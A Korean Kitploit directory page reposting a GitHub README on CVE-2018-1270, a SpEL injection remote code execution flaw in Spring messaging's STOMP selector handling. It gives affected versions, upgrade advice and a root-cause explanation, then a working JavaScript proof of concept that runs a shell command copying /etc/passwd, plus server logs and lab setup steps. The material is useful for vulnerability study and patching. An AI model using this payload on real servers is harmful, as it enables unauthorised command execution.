Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-1270 — Spring 메시징 STOMP 프로토콜 RCE | Kitploit
도구/GitHubGitHub/caledoniaproject/cve-2018-1270
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationArchived
GitHubcaledoniaproject/cve-2018-1270

CVE-2018-1270

Spring 메시징 STOMP 프로토콜 RCE

저장소 보기
113188년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-1270 - Spring messaging Spel 코드 실행 취약점

어제 Spring에서 1개의 RCE 취약점을 공개했습니다. 알아보겠습니다:

  • CVE-2018-1270: spring-messaging을 이용한 원격 코드 실행

영향을 받는 버전

  • Spring Framework 5.0 ~ 5.0.4
  • Spring Framework 4.3 ~ 4.3.14

이 취약점은 환경에 대한 요구사항이 없습니다. spring-messaging + websocket + STOMP를 사용하고 있다면 가능한 빨리 최신 버전으로 업그레이드하세요. SpringBoot를 사용 중이라면 2.0.1.RELEASE로 업그레이드하세요.

취약점 상세

간단히 말하면, StandardEvaluationContext의 권한이 너무 커서 임의의 SpEL 표현식을 실행할 수 있기 때문에, 공식에서 Spring 5.0.5 이후에 SimpleEvaluationContext를 추가하여 간단한 데이터 바인딩을 구현하고 유연성을 유지하면서 보안 위험을 초래하지 않도록 했습니다.

spring-messaging은 STOMP 프로토콜을 지원하여 클라이언트가 메시지를 구독하고 selector를 사용하여 메시지를 필터링할 수 있습니다. 예:

root@kitploit:~
selector = 'T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")'
stompClient = Stomp.client('ws://localhost:8080/hello')
stompClient.connect({}, function(frame) {
    stompClient.subscribe('/topic/greetings', function() {}, {
        "selector": selector
    })
});

구독할 때 Spring은 이 필터를 저장하고 클라이언트가 메시지를 받을 때 트리거합니다. 예:

root@kitploit:~
2018-04-07 08:32:20 [clientInboundChannel-3] TRACE o.s.m.s.b.DefaultSubscriptionRegistry - Subscription selector: [T(java.lang.Runtime).getRuntime().exec("cp /etc/passwd /tmp")]

...

2018-04-07 08:32:21 [MessageBroker-2] DEBUG o.s.m.s.b.DefaultSubscriptionRegistry - Failed to evaluate selector: EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to boolean

PoC 스크린샷

screenshot

구체적인 취약점 분석 글은 나중에 게시됩니다.

환경 사용 방법

Spring Boot 서버를 컴파일하고 실행합니다.

root@kitploit:~
mvn clean package
java -jar target/spring-boot-websocket-1.0.jar

접속 - 표현식을 입력하여 테스트합니다.

root@kitploit:~
http://localhost:8080

screenshot

도구 다운로드